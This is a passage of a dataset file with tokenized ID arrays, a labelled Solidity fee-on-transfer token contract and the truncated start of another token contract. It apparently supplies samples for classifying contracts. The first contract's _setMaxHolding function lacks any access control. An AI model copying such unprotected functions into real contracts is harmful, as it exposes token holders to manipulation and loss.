2000,
1036,
1010,
9361,
2034,
2008,
3206,
15991,
1008,
2024,
5204,
1997,
1996,
9413,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract McWAGMI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"McWAGMI";
string private constant _symbol = unicode"McWAGMI";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _feeRate = 10;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 3;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 9;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 15;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (500 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4487,
2615,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
2407,
2011,
5717,
1000,
1007,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-11
*/
/*
ChessMates - $CHSM
TOKENOMICS: 15% Buy/Sell tax
3% Marketing on purchase, rest for varying development
Contract to be renounced after launch and we are sure no further changes need to be made!
Max Supply: 1,000,000,000,000 (1 Trillion)
Max Transaction (on launch): 5,000,000,000 (0.5%)
Max Wallet (on launch): 20,000,000,000 (2%)
50% of Tokens burned IMMEDIATELY before trading!
NO Team Tokens, NO Pre Sale, NO Private Sale
🗣: https://t.me/ChessMatesToken
🌐: https://chessmatestoken.net/
🐧: http://www.twitter.com/chessmatestoken
📝: https://chessmatestoken.net/wp-content/uploads/2021/12/ChessPaper-V1-fINAL.pdf
GENERAL DISCLAIMER: Please don't trade more than you can afford and to always DYOR.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
//event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
//function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
